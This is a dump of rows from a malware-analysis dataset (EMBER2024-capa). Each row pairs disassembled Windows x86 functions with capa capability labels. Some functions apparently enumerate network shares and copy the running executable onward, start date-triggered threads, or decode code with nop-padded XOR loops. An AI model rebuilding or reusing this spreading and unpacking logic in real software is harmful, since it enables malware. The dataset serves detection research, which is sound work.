joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.00403624
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403dfa
push esi
call fcn.004074b0
pop ecx
pop ecx
dec eax
js 0x403de8
cmp byte [eax + esi], 0x2e
jne 0x403ddf
add eax, esi
push str.Q_Q
push eax
call fcn.004073c0
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403dfa
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403e11
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.004073c0
lea eax, [ebp - 0x208]
push eax
call fcn.004074b0
add esp, 0xc
test eax, eax
je 0x403e57
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403e57
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.004073d0
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f5d
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.004073c0
pop ecx
test esi, esi
pop ecx
jne 0x403eb1
lea eax, [ebp - 0x104]
push 0x40e044
push eax
call fcn.004073d0
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.004073d0
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x403f2a
lea eax, [ebp - 0x31c]
push 0x40e0ac
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
je 0x403f40
lea eax, [ebp - 0x31c]
push 0x40e0a8
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403e11
add esp, 0xc
jmp 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f56
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403e89
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491ef8], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491ae8
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491efc], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x40f769
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push str.Q_Q
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x4919e4
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491bec
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4058ed
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x4059b1
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040752b
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x11c]
push str.Q_Q
push eax
call fcn.004073d0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.004071e0
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x4059b5
call fcn.00401808
xor eax, eax
jmp 0x405a09
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040785b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046d7
pop ecx
test eax, eax
pop ecx
je 0x405a07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405ee4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044e4
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ca4
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.0040773e
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f8e
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f8e
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e8c
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405f48
xor eax, eax
pop ebx
leave
ret 4
Function at 0x4066d2
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407bd0
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x406848
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x40683f
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406751
push dword [ebp + 0x10]
push 2
push eax
call fcn.004066d2
add esp, 0xc
jmp 0x40682c
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404aa9
add esp, 0xc
test eax, eax
jne 0x40682c
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.00406498
pop ecx
pop ecx
push edi
push str.Q_Q
push ebx
call fcn.004046ab
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404156
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x40682c
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040280f
add esp, 0x18
push edi
push str._rA_r
push ebx
call fcn.004046ab
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404156
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.004073c0
lea eax, [ebp - 0x10c]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004073d0
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.00406ab2
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x406735
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x406ab2
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2240
call fcn.00407bd0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406ae6
push dword [ebp + 8]
call fcn.0040471a
test eax, eax
pop ecx
jne 0x406c24
mov edi, 0x40fd50
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b0a
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, str.Q_Q
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b2f
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406c24
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f2a
lea eax, [ebp - 0x2240]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x2240]
mov byte [ebp - 0x122c], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054ef
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073c0
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050fd
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dbf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406dd1
cmp word [ebp - 0xe], 6
jne 0x406dd1
and dword [0x491f04], 0
cmp ax, 7
mov dword [0x491f08], ebx
jne 0x406e0a
mov dword [0x491f04], ebx
cmp ax, bx
jne 0x406e15
mov dword [0x491f04], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d66
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406e17
push 0x1b7740
call edi
call fcn.00406da8
push 0xffffffffffffffff
call edi
jmp 0x406dd1
Function at 0x405168
Capabilities:
Encode data using xor

Disassembly:
mov byte [0x7f205b], 0xc6
mov dword [0x7f20cc], eax
mov dword [0x7f2096], edx
mov edi, 0x1a5
dec edx
mov eax, ebp
add dword [0x8057f8], eax
mov esi, esp
add dword [0x8057f4], esi
mov esi, 8
add dword [0x8057f4], 4
cmp eax, dword [esp - 0x24]
jle 0x4051b5
and dword [0x7f2085], esi
lea eax, [0x7f2054]
mov dword [eax], 2
xchg dword [0x7f20e9], edi
mov dword [0x7f2064], ecx
mov dword [0x7f20ca], 0x16d74
mov dword [0x7f207b], ebx
lea edx, [0x7f20f6]
add dword [edx + 0x18], 0x44
mov dword [0x7f204d], 0x15fa2
call sub.kernel32.dll_GetTickCount
mov dword [0x7f20fc], edx
mov dword [0x7f20ab], ecx
test edi, edi
jne 0x40520c
mov dword [0x7f20b9], edx
lea esi, [0x7f2028]
and dword [esi], 0xfa
mov dword [0x7f20dc], ecx
mov dword [0x7f2102], edx
mov word [0x7f2028], 0x884b
call fcn.00402928
mov byte [0x7f2070], 0x61
mov dword [0x7f20a7], ebx
mov dword [0x7f2043], edi
mov dword [0x7f20cf], esi
mov dword [0x7f20f6], ebx
mov dword [0x805894], 1
mov dword [0x7f20fc], edx
mov dword [0x7f20ab], ecx
test edi, edi
jne 0x405271
mov dword [0x7f20b9], edx
lea esi, [0x7f2028]
and dword [esi], 0xfa
mov dword [0x7f20dc], ecx
mov dword [0x7f2102], edx
mov word [0x7f2028], 0x884b
call fcn.00402928
mov dword [0x7f20c3], edx
inc ebx
mov dword [0x7f208e], edi
lea eax, [0x7f203c]
and dword [eax + 0x1c], ecx
xor eax, eax
mov dword [0x806018], eax
call fcn.00402928
call fcn.00402928
call fcn.00402928
mov byte [0x7f205b], 0xc6
mov dword [0x7f20cc], eax
mov dword [0x7f2096], edx
mov edi, 0x1a5
dec edx
call fcn.004017e0
inc dword [0x806018]
cmp dword [0x806018], 2
jne 0x4052a8
call fcn.0040537c
mov dword [0x7f20d3], 0x15eac
lea edx, [0x7f2087]
and dword [edx], ebx
xchg dword [esp - 0x1c], edx
lea edx, [esp + 0xc]
push edx
lea edx, [ebp - 0x12]
push edx
lea eax, [esp - 0xc]
push eax
call fcn.00405330
jmp fcn.007f05e4
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0xc48000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xc4800a
jmp 0xc4a00f
jmp fcn.0092a058
Function at 0x401020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40103b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401072
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40106e
jmp 0x401060
cmp esi, eax
jae 0x401072
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401060
cmp esi, eax
jb 0x401079
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x419200
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret 4

Function at 0x419f30
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push eax
xor esi, esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x419f51
cmp word [eax + 0xa], si
je 0x419f51
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov esi, dword [edx]
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419f70
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x41a510
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5382c1
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [0x593e04]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.0041eb0e
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41a55c
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov dword [ebp - 0x10], 1
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x41a5a3
cmp word [eax + 0xa], 0
je 0x41a5a3
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
test eax, eax
je 0x41a5a3
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
mov ecx, edi
call fcn.00401640
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41a5c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x41abc0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
cmp byte [ecx + 0xc], 0
je 0x41abe7
cmp byte [ecx + 0xd], 0
je 0x41abe7
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
mov eax, dword [ecx + 4]
push edx
push eax
call sub.SSLEAY32.dll_Ordinal_78
add esp, 0xc
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [ecx + 8]
push 0
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
pop ebp
ret 8

Function at 0x41ac00
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
cmp byte [ecx + 0xc], 0
je 0x41ac27
cmp byte [ecx + 0xd], 0
je 0x41ac27
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
mov eax, dword [ecx + 4]
push edx
push eax
call sub.SSLEAY32.dll_Ordinal_108
add esp, 0xc
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [ecx + 8]
push 0
push edx
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
pop ebp
ret 8
Function at 0x41fa67
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0042f8d4
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41faa0
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0041f6a9
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x41fafe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x41fb22
cmp dword [edi + 0x74], 0
jne 0x41fb22
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0042f8d4
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041fabf
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42609c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4260e3
call fcn.0042f8d4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4260e3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4260ff
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00425ba1
mov esi, eax
test edi, edi
je 0x4260fd
test ebx, ebx
je 0x4260fd
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x427015
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x53c0d9
call fcn.0052005b
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x42703a
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42708c
call fcn.0041eb0e
push eax
lea ecx, [ebp - 0x10]
call fcn.00401240
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0051fe8b
push eax
call fcn.00401de0
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004010d0
mov eax, esi
call fcn.00520133
ret 8
Function at 0x427d0f
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x593e04]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x427d57
push 0x54a448
push 4
push eax
call fcn.0051ec51
push eax
call fcn.00401de0
add esp, 0x10
jmp 0x427d6d
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x427df0
push edi
call fcn.005204fe
mov edi, dword [eax]
call fcn.005204fe
and dword [eax], 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0051fc2d
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.005204fe
cmp dword [eax], 0
je 0x427dc4
call fcn.005204fe
push dword [eax]
call fcn.0041de58
pop ecx
jmp 0x427dcb
call fcn.005204fe
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
pop edi
je 0x427df0
cmp dword [ebp - 0x11c], esi
jae 0x427df0
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x427df2
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0051d4a4
leave
ret